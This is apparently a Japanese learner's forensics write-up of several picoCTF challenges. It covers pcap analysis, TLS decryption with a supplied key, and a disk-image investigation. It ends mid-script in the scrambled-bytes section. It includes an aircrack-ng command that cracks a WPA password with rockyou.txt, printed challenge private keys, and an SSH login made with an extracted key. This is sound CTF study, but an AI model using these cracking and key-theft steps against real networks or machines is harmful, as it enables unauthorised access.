それでは全体を見る。10.0.2.15と10.0.2.4がやり取りを行っているように見える。ARP通信が気になるがipaアドレスとmacアドレスを紐づけるプロトコルのようだ。あんまり不信感はない。
盗聴なので10.0.2.15と10.0.2.4のやり取りを見ていく。そうするとflagの復号どうやってやるのという会話をしている。
openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123しかも答えてる。その後にflagも送ってくれと言っている。Oh great. Ok, over 9002?ということで、port:9002でやり取りするようだ。
その後、Saltedから始まるものをやり取りしている。これ前の問題で見たことあるで。Operation Orchidでやった問題です。Saltedから始まるASCIIをflag.des3ろいうファイルにコピーして復号コマンドをたたいた。可読文字にならない。なぜでしょう。
(writeup)こちらを参考にした。その通りにやったらできた。

知識(TCP通信盗聴対策)
TCP通信盗聴対策 あと、TCP通信でのやり取りは盗聴されてしまうならどうすればよいのだろうか。(実践で学ぶ、一歩進んだサーバ構築・運用術) 対策としては「SSL/TLSなどの技術を使用して、TCPの通信内容を暗号化することが一般的です。」だそうです。 (TCPとは? わかりやすく10分で解説)

考察 考え方はあっていた(writeupの方が数段スマートでした。)ただ、コピペなどを用いると少しずつ違ってくるのだと思う。できる限り、プログラム上でやり取りできるように考えていくことが大切だと感じた。

[2024/02/27]

WPA-ing Out

I thought that my password was super-secret, but it turns out that passwords passed over the AIR can be CRACKED, especially if I used the same wireless network password as one in the rockyou.txt credential dump. Use this 'pcap file' and the rockyou wordlist. The flag should be entered in the picoCTF{XXXXXX} format.

まず、rockyou.txtとは何かを調べた。

知識(rockyou.txt)
rockyou.txt (RockYou.txt とは:セキュリティのためのツールかつハッカーにとっての武器)を参考にした。今までに存在するパスワードの辞書のようだ。

(brannondorsey)から入手した。

次にpcapファイルを確認していく。wireless LANで通信を行っている。少しはDATAをやり取りしている。
初手が分からないので、(CTFのフォレンジックにおけるネットワークフォレンジックまとめ [Wireshark, pcap])を参考にしていく。

無線(W)→無線LANトラフィックから無線LAN統計が確認できた。
列の属性を少し見ていく。

知識(無線LAN)
BSSID (Wireless LAN - BSSID & ESSID)を参考にした。つまり、無線通信時のエンドポイントIDという感じだろうか。

ちなみに、(Download: Wireshark Coloring Rules File)を参考に無線通信にも色付けしている。 わからなさ過ぎたのでヒント2を見た。「Aircrack-ng can make a pcap file catch big air...and crack a password.」らしい。 (ハッカーはaircrack-ngで無線LANの解析を確認する(Kali Linux))を参考に使い方を学んだ。└─# aircrack-ng wpa-ing_out.pcap -w rockyou.txtを実行すると rockyou.txtの中からパスワードをクラックすることができるようだ。そうすると早々に見つかる。そのワードをpicoCTF{}の中に入れれば終了。

FindAndOpen

Someone might have hidden the password in the trace file. Find the key to unlock this file. This tracefile might be good to analyze. ということで、zipファイルとpcapファイルを渡された。zipは解凍するのにpasswordが必要なようだ。そのパスをpcapから探すというものらしい。
階層

知識(Ethernet)
Ethernet イーサーネットは主に有線LANでの通信規格のことらしい。(今さら聞けない「イーサネット」。次世代自動車もつなぐネットワーク技術とは)。また、IPv4IPv6の違いがあるようだ(IPv4とIPv6の違いは速度だけ? 知っておくべき比較ポイント)。セキュリティ的にはIPv4の方が暗号化がオプションのようだ。今回はDATAがIPv4の方にしかないのでそこまで問題ではなさそう。

今回パケットが少なかったので、DATAを見てると48パケットに末尾が=のものがあった。つまり、Base64で暗号化されているものが流れているようだ。それをcyberchefでデコードすると、This is the secret: picoCTF{R34DING_LOKd_と別れたflagが見つかった。Could the flag have been splitted?というパケットが流れているので分けられているようだ。Maybe try checking the other fileとそのあとに通信しているので、zipファイルに残りがあると考えらえれる。
どう考えても見当たらない。Writeup確認してみる。(WriteUp)。抽出した部分的なflagがパスになっているらしい。なんじゃそりゃ。一応終了。

[2024/02/28]

shark on wire 2

We found this packet capture. Recover the flag that was pilfered from the network.
(CTFのフォレンジックにおけるネットワークフォレンジックまとめ [Wireshark, pcap])を参考にする。Follow TCP Streamを見たがめぼしい情報はない。

IPv4UDPパケットが多いと読み取れる。Address Resolution Protocolがその次に多い。
思った以上に通信しているエンドポイントが多い。パケット量が多いのは10.0.0.1である。これが自分の端末かな?その次に多い192.168.2.1がもしかしたら何かしらなのかもしれない。怪しいと思うことをいかにまとめた。

  • UDPの通信内容にpicoCTFのような言葉が使われているようだ。
  • 1104に文字列start、1303に文字列endがある。なにかあるのかな?
  • sourceに10.0.0.1の時に一文字ずつ送られている? *source 10.0.0.2, destination10.0.0.13のUDPストリームがkfdsalkfsalkico{N0t_a_fLag}となっている。
  • source10.0.0.2, destination10.0.0.12のUDPストリームがicoCTF{StaT31355eとなっていて怪しい。
  • 10.0.0.8が10.0.0.29にI really want to find some picoCTF flagsと送っている。29が知っているのか?→そんなことはない。

ここまでやってお手上げ、WriteUpを見る。(writeup)を参考にした。portが鍵のようだ。確かに、startからendの間のパケットでport srcの数はやたらに多い気がする。

参考のとおり、udp and ip.dst == 10.0.0.1 and ip.addr == 10.0.0.66でフィルターした後の、Src portの下三桁を抜き取り、ASCIIで表示したらflagゲット。

WebNet0

We found this packet capture and key. Recover the flag.
ということで、pcapファイルと.keyファイルを渡された。.keyファイルの内容は以下のとおりである。

└─# cat picopico.key
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCwKlFPNKjseJF5
puCJU5x38XcT1eQge5zOKNahAlYudvGVOEs61TnIgvcER4ko8i3OCwak2/atcGk3
oz9jFKep7XFEYNP31IwwD9j/YazlKy4DRLGObOyIZUU1f2WRA7Uhf0POQXsDT1oU
X32jMKZkQSSDW4MRZd9trJYdO2TrcEPMsBiZQlFlvgnNwl3QlawozTHLAJKI36j1
cPwSMMeNca1e0Zi1s7R5IxfhpNXOBF0FmxiWvmeOHbaspyHg8UEmGBrkd4k4wXSK
GQvrc8QjycP4ScEdquxJiYnDT8iEbAq70/7f/5NIN1DE9YoGJqKYjTS9nRPB4Yvj
JN/SJnhvAgMBAAECggEACCnd3LrG/TZVH3sROqvqO1CwQPYPfUXdLVyNHab7EWon
pc+XBOHurJENG2CpRYF7h+nQ5ADhfIYSCicBf/jsEB7VueJ20CxEVtHVL3h6R6Bp
oHMle0Em8OcofuMpdL/kO+om3T8BkVSzCvCl5NMTUuAF7iRmfX7oDLALwM0IzzQv
2un+2UmT15rgAZfl3IL1PGvJhbhLxfeeyPE9MBy1SqBjQ9rNFn8sQv959J6BHz4b
EpK//ErtNP2yh7oiVBBgKEQ1gEuOjQC/4oxoqCFfZaf9XNRCxB/zY1nUprvJyz09
NMQWNF2EmvmBVGfoTxmuut5N0GbVr2UyHxWMKm2sOQKBgQDpb2+AWgWlGtetuLKJ
fJs8dnd6LhnafbKCOXMOT68qMBRoTpBtVTLRVSNvWCm8m4TTEazX4+ZA+bJFwUFw
aATDmHcr6lMI3tNKrcsnY2F7o5I4z6mwuRuSeszq/ndxZqCzwCu4nKixh3cznp7j
JiElNG0d8Lu5eQgmVAK1AhWXfQKBgQDBMa9ga7VJUP4pzcHnWAoi34OpfjvQYeGl
IKL3AKO4OedaHdH9qid41PQHnL7O3xzN669SkLZ5s0d88A/LFLk4oZNMKdkSTQIQ
+AMbXH01HGFvnCOuPg/FbNp1wS7zJEg5u5HFQWyMPNJLr/hZ6g2Yp+UGpAcGTwM/
RCPVAPhLWwKBgQDAB0OaOnPaVjKGXiHAqBirrGiswa/S5QQrzEaxxys5cUPYaoi0
6BldysPTnJr45JZna2rcTkXjvYTBjTDf3zHMFWgzYBfefC8kh8NPK5nNs8ldorbd
AemEnjBkP+DSELKyK6vLulOrdtzAQgRCp+MsT+xTbO2ArefeX826SXSpoQKBgC2v
nDOHBQXje1dTawlUToFUrgQE8AwlOYEdKKyUoCLOvqEW8DO2a0MtyM+MB6tQI7Wm
iH1T73L0LHGlK3bw3aRAwV5/fu/O+jAdFk8AHjPTFE+acu2fi4c6aKb0GjAxYksU
yjIFeK/pKinv4SESMkjpW0WowGiDgtcRPBAA/LaFAoGAfEM1rfM0v3UmB7PS6u0m
P3ckP2CFCdaryXPfC52GBcJ3Q46YpsQvLTVotM+teHvTjNw2jwwZxIl4NenGSEj3
KDhQoOiQC9BrDD+DB4I9+T9nxT3g7R6MrgITghB4We7TVhL/PljnJTyDqpjNA4kY
TveAJPv6Xq1ERt5PUtX3BqQ=
-----END PRIVATE KEY-----

秘密鍵のようだ。

パケットはTCPが行われているようだ。

エンドポイントはこんな感じ。二人の間で秘密通信が行われているといった感じかな?
プロトコルを見ているとTLSv1.2があるなんだろう?

知識(TLSv1.2)
TLSv1.2 (SSL/TLSの仕組み)を参考にした。前述べたと思うけど、TCP通信は暗号化されないので危険であるということで、暗号化を行って通信を安全にする仕組みがTLSだそうだ。v1.2はそれ以前に見つかった脆弱性を修正したバージョンと思う。

ここで、TLSの復号について調べるとwiresharkにそういう機能があるようだ。(【Wireshark】WiresharkでSSL/TSLの 暗号化通信を復号化する)を参考にした。ここのところでは編集→設定(P)→protocolsの中からTLS選択→RSA keys listの編集→key FIleのパスを選択しOKするとHTTPの中身が見えるようになる。

中身を見ていくと、Pico-Flagという属性にflag形式あり。flagゲット。

Operation Oni

Download this disk image, find the key and log into the remote machine. Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory. Download disk image Remote machine: ssh -i key_file -p 62260 ctf-player@saturn.picoctf.net ということで、イメージディスクを調査するようだ。楽しみ。

└─# ssh -i key_file -p 62260 ctf-player@saturn.picoctf.net
Warning: Identity file key_file not accessible: No such file or directory.
The authenticity of host '[saturn.picoctf.net]:62260 ([13.59.203.175]:62260)' can't be established.
ED25519 key fingerprint is SHA256:XBSvB1lk28EctsAVdKJtsl0A7C5bonqPrvHCYH8aEy4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '[saturn.picoctf.net]:62260' (ED25519) to the list of known hosts.
ctf-player@saturn.picoctf.net's password:
Permission denied, please try again.
ctf-player@saturn.picoctf.net's password:
Permission denied, please try again.
ctf-player@saturn.picoctf.net's password:
ctf-player@saturn.picoctf.net: Permission denied (publickey,password).

sshするとパスワードを求められるので、そのパスを求めるのが課題のようだ。
まず初手、

└─# file disk.img
disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, active, start-CHS (0x0,32,33), end-CHS (0xc,223,19), startsector 2048, 204800 sectors; partition 2 : ID=0x83, start-CHS (0xc,223,20), end-CHS (0x1d,81,52), startsector 206848, 264192 sectors

2つのセクターに分かれているようだ。

└─# mmls disk.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0000206847   0000204800   Linux (0x83)
003:  000:001   0000206848   0000471039   0000264192   Linux (0x83)

やはり二つに分かれている。オフセットも把握。

└─# fls disk.img  -o 2048
d/d 11: lost+found
r/r 12: ldlinux.sys
r/r 13: ldlinux.c32
r/r 15: config-virt
r/r 16: vmlinuz-virt
r/r 17: initramfs-virt
l/l 18: boot
r/r 20: libutil.c32
r/r 19: extlinux.conf
r/r 21: libcom32.c32
r/r 22: mboot.c32
r/r 23: menu.c32
r/r 14: System.map-virt
r/r 24: vesamenu.c32
V/V 25585:      $OrphanFiles
└─# fls disk.img  -o 206848
d/d 458:        home
d/d 11: lost+found
d/d 12: boot
d/d 13: etc
d/d 79: proc
d/d 80: dev
d/d 81: tmp
d/d 82: lib
d/d 85: var
d/d 94: usr
d/d 104:        bin
d/d 118:        sbin
d/d 464:        media
d/d 468:        mnt
d/d 469:        opt
d/d 470:        root
d/d 471:        run
d/d 473:        srv
d/d 474:        sys
V/V 33049:      $OrphanFiles

この感じだと2つ目に情報がありそう。homeとルート見に行こう。 homeに情報はなさそう。rootには.sshディレクトリがあり、公開鍵と秘密鍵があった。sshがパスワードではなく、鍵認証だとすると難しい。

└─# icat disk.img 2345 -o 206848
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBgrXe4bKNhOzkCLWOmk4zDMimW9RVZngX51Y8h3BmKLAAAAJgxpYKDMaWC
gwAAAAtzc2gtZWQyNTUxOQAAACBgrXe4bKNhOzkCLWOmk4zDMimW9RVZngX51Y8h3BmKLA
AAAECItu0F8DIjWxTp+KeMDvX1lQwYtUvP2SfSVOfMOChxYGCtd7hso2E7OQItY6aTjMMy
KZb1FVmeBfnVjyHcGYosAAAADnJvb3RAbG9jYWxob3N0AQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
└─# icat disk.img 2346 -o 206848
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGCtd7hso2E7OQItY6aTjMMyKZb1FVmeBfnVjyHcGYos root@localhost

ちなみに

└─# fsstat -t disk.img -o 206848
ext4

ここからはautopsyを使用して調査しようと思う。(CTFのフォレンジックにおけるディスクイメージフォレンジックまとめ [ファイルシステム])を参考に見る。rootディレクトリにある.ash_historyを確認。

ssh-keygen -t ed25519
ls .ssh/
halt

鍵を生成しているようだ。次に/var/logを確認。

messagesがlocalhostが行ったことを表しているのだろうか?(/var/log以下のログ一覧)を参考に載っているファイルがなんのログを表しているのかおおよそつかむ。

wtmpがログイン系なので怪しい。(/var/log/wtmp の内容を確認する)を見るとパスワードはなさそうな予感。ここで、純粋にパスワードを確認できないか調べる。/etc/shadowにあるようだが、rootしかない。しかも、暗号化されているし。今回のユーザーではなさそう。そうなるとパスワード認証自体が怪しい。最初のログインに失敗した画面を見る。ctf-player@saturn.picoctf.net: Permission denied (publickey,password).公開鍵とパスワードの認証拒否なので、公開鍵を使えるのかな?(sshのPermission deniedを解決する方法)鍵が必要な感じになってきました。ssh -i key_file -p 54955 ctf-player@saturn.picoctf.net sshするコマンドを見ると-iオプションがあることに気づく。(【 ssh 】コマンド――リモートマシンにログインしてコマンドを実行する)を見るとやはり、秘密鍵のファイルを指定している。つまり、ログインするユーザーの秘密鍵sshするときのディレクトリにkey_fileの名前で配置するのが正解かな?/etc/sshにある秘密鍵と/roo/.sshにある秘密鍵を抽出してこのファイルを指定してログインを試す。

└─# ssh -i id_ed25519 -p 55245 ctf-player@saturn.picoctf.net
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0777 for 'id_ed25519' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_ed25519": bad permissions
ctf-player@saturn.picoctf.net's password:

とエラーが出た。他の人が触れないことが必要ということだろうか?(SSH接続しようとしたら秘密鍵のパーミッションエラーがでた)を参考にした。権限を変えてアクセスしたら成功。lsしたらflagファイルがあるのでcatしておしまい。

WebNet1

We found this packet capture and key. Recover the flag.というわけでpcapファイルと.keyファイルを渡されている。

└─# cat picopico.key
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCwKlFPNKjseJF5
puCJU5x38XcT1eQge5zOKNahAlYudvGVOEs61TnIgvcER4ko8i3OCwak2/atcGk3
oz9jFKep7XFEYNP31IwwD9j/YazlKy4DRLGObOyIZUU1f2WRA7Uhf0POQXsDT1oU
X32jMKZkQSSDW4MRZd9trJYdO2TrcEPMsBiZQlFlvgnNwl3QlawozTHLAJKI36j1
cPwSMMeNca1e0Zi1s7R5IxfhpNXOBF0FmxiWvmeOHbaspyHg8UEmGBrkd4k4wXSK
GQvrc8QjycP4ScEdquxJiYnDT8iEbAq70/7f/5NIN1DE9YoGJqKYjTS9nRPB4Yvj
JN/SJnhvAgMBAAECggEACCnd3LrG/TZVH3sROqvqO1CwQPYPfUXdLVyNHab7EWon
pc+XBOHurJENG2CpRYF7h+nQ5ADhfIYSCicBf/jsEB7VueJ20CxEVtHVL3h6R6Bp
oHMle0Em8OcofuMpdL/kO+om3T8BkVSzCvCl5NMTUuAF7iRmfX7oDLALwM0IzzQv
2un+2UmT15rgAZfl3IL1PGvJhbhLxfeeyPE9MBy1SqBjQ9rNFn8sQv959J6BHz4b
EpK//ErtNP2yh7oiVBBgKEQ1gEuOjQC/4oxoqCFfZaf9XNRCxB/zY1nUprvJyz09
NMQWNF2EmvmBVGfoTxmuut5N0GbVr2UyHxWMKm2sOQKBgQDpb2+AWgWlGtetuLKJ
fJs8dnd6LhnafbKCOXMOT68qMBRoTpBtVTLRVSNvWCm8m4TTEazX4+ZA+bJFwUFw
aATDmHcr6lMI3tNKrcsnY2F7o5I4z6mwuRuSeszq/ndxZqCzwCu4nKixh3cznp7j
JiElNG0d8Lu5eQgmVAK1AhWXfQKBgQDBMa9ga7VJUP4pzcHnWAoi34OpfjvQYeGl
IKL3AKO4OedaHdH9qid41PQHnL7O3xzN669SkLZ5s0d88A/LFLk4oZNMKdkSTQIQ
+AMbXH01HGFvnCOuPg/FbNp1wS7zJEg5u5HFQWyMPNJLr/hZ6g2Yp+UGpAcGTwM/
RCPVAPhLWwKBgQDAB0OaOnPaVjKGXiHAqBirrGiswa/S5QQrzEaxxys5cUPYaoi0
6BldysPTnJr45JZna2rcTkXjvYTBjTDf3zHMFWgzYBfefC8kh8NPK5nNs8ldorbd
AemEnjBkP+DSELKyK6vLulOrdtzAQgRCp+MsT+xTbO2ArefeX826SXSpoQKBgC2v
nDOHBQXje1dTawlUToFUrgQE8AwlOYEdKKyUoCLOvqEW8DO2a0MtyM+MB6tQI7Wm
iH1T73L0LHGlK3bw3aRAwV5/fu/O+jAdFk8AHjPTFE+acu2fi4c6aKb0GjAxYksU
yjIFeK/pKinv4SESMkjpW0WowGiDgtcRPBAA/LaFAoGAfEM1rfM0v3UmB7PS6u0m
P3ckP2CFCdaryXPfC52GBcJ3Q46YpsQvLTVotM+teHvTjNw2jwwZxIl4NenGSEj3
KDhQoOiQC9BrDD+DB4I9+T9nxT3g7R6MrgITghB4We7TVhL/PljnJTyDqpjNA4kY
TveAJPv6Xq1ERt5PUtX3BqQ=
-----END PRIVATE KEY-----

keyは秘密鍵のようだ。

階層はIPv4TCPTLSが行われているようだ。

ポートが違うが2人の人が通信を行っているようだ。 WebNet0と同様に秘密鍵を登録しようと思う。WebNet0と同様にいくつかの暗号化されていたものが復号された。42パケットに書かれているhtmlに画像を渡すようにことが書かれている。

<title>Hello, world!</title>
  </head>
  <body>
    <div class="container">
            <div class="starter-template">
                <h1>Welcome to A Secret Page</h1>
                <p class="lead">
                Here is a picture for you!
            </p>
            <img src="vulture.jpg" alt="my pantaloons" /> 
            </div>
    </div><!-- /.container -->

HTTPオブジェクトをエクスポートする。
やはり気になるのはvulture.jpgである。ファイルを渡されたら初手はfilestringsコマンドである。

└─# file vulture.jpg
vulture.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=1], baseline, precision 8, 640x716, components 3

ダメもとで└─# strings vulture.jpg | grep picoと打ったらflag出てきた、入力したら通った。終了。

[2024/02/29]

Torrent Analyze

SOS, someone is torrenting on our network. One of your colleagues has been using torrent to download some files on the company’s network. Can you identify the file(s) that were downloaded? The file name will be the flag, like picoCTF{filename}. Captured traffic.
まずはtorrentを知らないので調べる。

知識(Torrent)
Torrent (Torrentとは? 使い方/ダウンロード方法/逮捕される?/違法/危険性/用語【完全ガイド】)を参考にした。P2P技術を利用して、ファイルをダウンロード、アップロードできる仕組みのようだ。

Torrentでダウンロードされたファイルの名前を特定する問題のようだ。

IPv4UDPTCPが行われているようだ。UDPのほとんどでDATAがやり取りされている。エンドポイントを確認すると156のアドレスがやり取りしている。何とも特定しにくい。

しかし、パケットの数でソートすると192.168.73.132が多くのパケットを受信していることが分かる。Torrentでは多くのユーザーから一つのファイルの断片を受信して完成させるので、受信パケットが多いのは鍵になりそう。
まずは文字列でtorrnetを検索する。そうするとBitTorrent DHT Protocolといういかにもというプロトコル発見。

知識(BitTorrent DHT Protocol)
BitTorrent DHT Protocol (BitTorrent の 分散ハッシュテーブル(DHT)や マグネットリンク とは)を参考にした。(P2P通信技術: BitTorrentプロトコルを用いた大容量データ配信)はダウンロード方法がわかりやすい。(torrent(トレント)ファイルとは?)トレントファイルについてはこちらを見た。

他にも気になることを書いていく。

  • BT-DHTではrequestとresponseというものがありそう。
  • また、request typeというものがありそう。pingやget_peersとあり

hintを見た。「Try to understand peers, leechers and seeds.」とあった。

知識(peers, leechers and seeds)
peers, leechers and seeds (P2Pwiki)を参考にした。peerはネットワーク上に存在する端末。leechersは完全なファイルを持っていない、つまり、ダウンロード中の端末。seedsは完全なファイルを持っている端末である。

上記の知識を読み直して考えたこととしては、まずダウンロードするためにはどこかにあるtorrentファイルを管理しているサーバーにアクセスしてファイルを取得し、トラッカーにアクセスしたのちにピア間での通信が始まると考えられる。ので、ファイル名を探すなら、管理しているサーバーかトラッカーへの通信にファイル名がありそうと考えられる。 初めに思ったのは最初にTLS通信を行った切後半あまり出てこない91.189.95.21が管理サーバーなのかと思って調べたが、TLS通信をしているせいで中身が見れないこと。何かしらの受け渡しがあったのはわかるが中身が見れないので、駄目っぽい。パケットを眺めているとやはりrequest typeが気になる。調べた。(Sniffing BitTorrent DHT ~人はBTで何を落とすのか~)に書いてある。つまり、get_peerタイプのinfo_hashに欲しがっているファイル情報があるようだ。そして、そのハッシュはSHA-1で行われているようだ。get_peerクエリはたくさんあるが同じハッシュ値を聞いていることもある。

  • 17d62de1495d4404f6fb385bdfd7ead5c897ea22(パケット79)
  • d59b1ce3bf41f1d282c1923544629062948afadd(パケット429)
  • 078e18df4efe53eb39d3425e91d1e9f4777d85ac(パケット436)
  • 7af6be54c2ed4dcb8d17bf599516b97bb66c0bfd(パケット1587)
  • 17c0c2c3b7825ba4fbe2f8c8055e000421def12c(パケット3999)
  • 17c02f9957ea8604bc5a04ad3b56766a092b5556(パケット36047)
  • e2467cbf021192c241367b892230dc1e05c0580e(パケット51080,51081,51082,51179,51212,51464,51519,51679...)

これでハッシュを逆引きできればよかったが、逆変換するツールが見当たらない。このハッシュに対応するファイルがあるのだろうか?それってTLSで通信されていたとか?あと一歩のとこまで来ているようなのに、わからん。
WriteUp見てしまった。(picoCTF2022 Torrent Analyze を勉強した記録)導きかだがスマート。あと一歩だった。スマートに解こうとしてしまったが、検索すればよかったのか。検索して一応flagゲット。

考察 今回の問題の最後でhash値を渡された。ツールなどを考えたが、その前に検索というものを考えた方がよかったようだ。他のCTFでも検索でhash値を解読したことを思い出した。しかし、今回のやつググってもCTF関係のものしか出てこないので、なかなかwriteupなしにたどり着くのは難しかったと思う。
また、今回のハッシュ値はリストの一番下のものだった。そのほかは違うようだ。最後のパケットだけ192.168.73.132がリクエストを飛ばしている。これがユーザーがダウンロードしようとしていることらしい。そのほかはリクエストされる方だったので、ファイルをアップロードする側だったということかな?
今回あと一歩だったが、なかなか奮闘したと思う。これからも頑張るのみ。

[2024/03/06]

scrambled-bytes

I sent my secret flag over the wires, but the bytes got all mixed up!ということで、 pcapファイルとpyファイルを渡された。pyファイルを実行してメッセージを送ったようだ。
まずは、コードを解読していきたいと思う。

#!/usr/bin/env python3

import argparse
from progress.bar import IncrementalBar

from scapy.all import *
import ipaddress

import random
from time import time

if __name__=='__main__':
  parser = argparse.ArgumentParser()
  parser.add_argument('destination', help='destination IP address', type=check_ip)
  parser.add_argument('port', help='destination port number', type=check_port)
  parser.add_argument('input', help='input file')
  main(parser.parse_args())

コードの書き順を変えた、実行される順に見ていこうと思う。
argparse.ArgumentParser()は(ArgumentParserの使い方を簡単にまとめた)を見てみると、pythonによる引数を取得できる仕組みのようだ。parser.add_argumentで引数を追加。そして、parser.parse_args()で引数を解析するようだ。コード内で使われる変数の意味は下のようになる。

また、typeにより、記述されている関数を行った後の結果を扱うこともできる。つまり、destinationはcheck_ipを実行した後のreturn値である。そして、解析されたdestination、port、inputをmainに渡してコードが実行されるようだ。

def check_ip(ip):
  try:
    return ipaddress.ip_address(ip)
  except:
    raise argparse.ArgumentTypeError(f'{ip} is an invalid address')

def check_port(port):
  try:
    port = int(port)
    if port < 1 or port > 65535:
      raise ValueError
    return port
  except:
    raise argparse.ArgumentTypeError(f'{port} is an invalid port')

そして、destinationとportが引数に渡される前に実行される関数を見ていく。ipaddress.ip_address(ip)はpythonIPアドレスを扱う関数のようだ(pythonでIPアドレスを扱う方法)。渡された値がIPアドレスなのかをチェックするようだ。そして、portはint型にしたのちに1以上65535以下であるかをチェックしている。

知識(ポート)
ポート (TCP/UDPにおけるポート番号について)を参考にした。ポートは65535までしかないようだ。そして、それで、プログラムへの通信を設定できるようだ。
def main(args):
  with open(args.input, 'rb') as f:
    payload = bytearray(f.read())
  random.seed(int(time()))
  random.shuffle(payload)
  with IncrementalBar('Sending', max=len(payload)) as bar:
    for b in payload:
      send(
        IP(dst=str(args.destination)) /
        UDP(sport=random.randrange(65536), dport=args.port) /
        Raw(load=bytes([b^random.randrange(256)])),
      verbose=False)
      bar.next()

さて、本丸です。ここで、送りたいものをいじっているようだ。
まず、inputファイルを開けている。それがpayloadとして扱われていくようだ(ペイロード とは)。
その次にtimeをシードにrandom.shuffleでbyte列をぐちゃぐちゃにされたようだ。
IncrementalBarは進捗の進み具合を可視化してくれるようだ(プログレス1.6)。送信している大本はその次のfor文である。send関数はscapyライブラリで定められているようだ(Scapy入門)。パケット通信を行うことを可能にしているらしい。パケットは/で区切られている。
IPではあて先アドレスを指定。
UDPではsportで送信元ポートを指定している。今回は65536の間の数値をランダムで割り当てている。dportはあて先ポートである。(Scapyって知ってる?)こっちのサイトの方が分かりやすいかも。Rawはpayloadを表しているようだ。また、b^random.randrange(256)は受け取ったpayloadをrandom.randrange(256)で割り当てられた乱数と排他的論理和をとって送信されているようだ(とほほのPython入門 - 演算子)。 肌間ではflagを見つけるというより解読する問題のように感じる。

では、pcapファイルを見ていく。
プロトコル階層。IPv4でのTCPが多いようだ。しかし、payloadの送信はUDPだったような。Internet Control Mssage Protocolも少しあるようだ。 あまり有益な情報はないかも。

知識(ICMP)
ICMP (ICMPとは?TCP/IPの通信状態を確認するプロトコル)を参考にした。通信の意思疎通ができているかを確認するプロトコルのようです。


エンドポイントについて。ちなみにUDPを確認すると172.17.0.2が大量のポートを利用していたので上記のコードを実行してパケットを送っているのは172.17.0.2だと考えられる。UDP送信先が172.17.0.3であるので、この2者とのやり取りが肝のように思う。
しかし、pyコードを見ているが、random.shuffleやワンタイプパッドのように送信ペイロードに乱数を排他的論理和して暗号化しているので、復号するのは難しいと考えられる。可能だと考えられるのはrandom.seedを特定することだと考えられる。random.seedはint(time())で表されている。timeで出力されるのはタイムスタンプというものらしい。

知識(タイムスタンプ)
タイムスタンプ (Pythonのtimeモジュールまとめ!処理時間を計測する方法)を参考にした。「これはタイムスタンプという時刻の表示形式で、 1970年1月1日0時0分0秒から何秒経っているかを教えてくれます。」だそうです。

wiresharkでは通信された時間が分かる。タイムスタンプも記述されている。ここから、random.seedを求めることはできないかと考えた。wiresharkのepoch timeというところで確認できる。UDP通信が始まったのが1614044650.913789387となっているのでint型にすると1614044650となる。この前後がrandom.seedになっているのではないかと予想している。
しかし、ここの手法のおかしいかもと思うのはUDPパケットは1992ものパケットが送信されている。flag以外の文字を含んでいるとしても長い。もっとスマートな解き方があるのだろうか?あと気になるのが、ICMPのエラーである(【初心者わかりやすく】ICMPを詳しく解説)。等間隔に行われているように見えてしまう。でもきっちり等間隔ではなさそう。この時のpayloadだけ受け取れていないのだろうか?
また、ここで気になったのは同じのportで送信しているときがないかである。ランダムなので重なるときはあるかもしれないが、一応気になるので検索。

少なからずある。なにかしらの規則性があるか見たが、共通して規則性があるとは言えなかった。
(picoMini by redpwn writeup)を見てしまった。この発想を持つのむずすぎませんか?
tsharkの方がパイプやリダイレクトできるので、ほかのコマンドと組み合わせられるのは大きな利点のように思う。 なので、wiresharkで抽出したいなどの細かい作業はtsharkで行うと思うとよい。しかし、抽出のコマンドが難しいのが注意点。どこかにまとめサイトあればよいが、見当たらない。今回、udpのdataをtsharkで集めた。思いのほか簡単に集まった。(よく使うtsharkワンライナーのメモ)を参考に行った。tshark -r capture.pcapng -Y "udp and data.len == 1 and ip.src != 172.17.0.3" -T fields -e data |tr '\n' ' ' > output.txtで抽出はできたと思う。やってみたがうまくいかない。(0x534b/ctf-writeups )を参考にするとエラーはいてたところにも少し手を加えないといけないようだ。
さて、手を加えていく。まずはwireshark上でフィルタしていく。udp and !icmp and ip.src == 172.17.0.2 and ip.dst == 172.17.0.3。そうするとUDP以外の3つのエラーパケットが見つかった。ここをちゃんとする。というかこれは抽出できていないのだろうか。やってみたが無理っぽい。やっぱり手動だろうか。
複雑な処理をしてでもプログラムで抽出したいと思い、(Scapyでpcapファイルからデータを抽出する)を参考にプログラムを書いてみることにした。

from scapy.all import *
p = rdpcap('./capture.pcapng')
p[1942].show()

というコードではエラー処理されていたもののpayloadも抽出できた。でかい。

from scapy.all import *
p = rdpcap('./capture.pcapng')

for i in range(10936):#
    if('IP' in p[i]):
        if (p[i][IP].src == "172.17.0.2"):
            try:
                print(p[i][Raw].load)
            except Exception as e:
                print(b'\x69')

試行錯誤したらこれで抽出できた。なぜかエラー処理が起きたが、対応できた。ascii変換されてしまっているのは少し面倒かも。printせずに内部で処理したらできると思うので、このままプログラムで進めていく。
改良の末、実行できた。

from scapy.all import *
import random
import binascii

#暗号化データ抽出
p = rdpcap('./capture.pcapng')
enc_data = []
for i in range(10936):
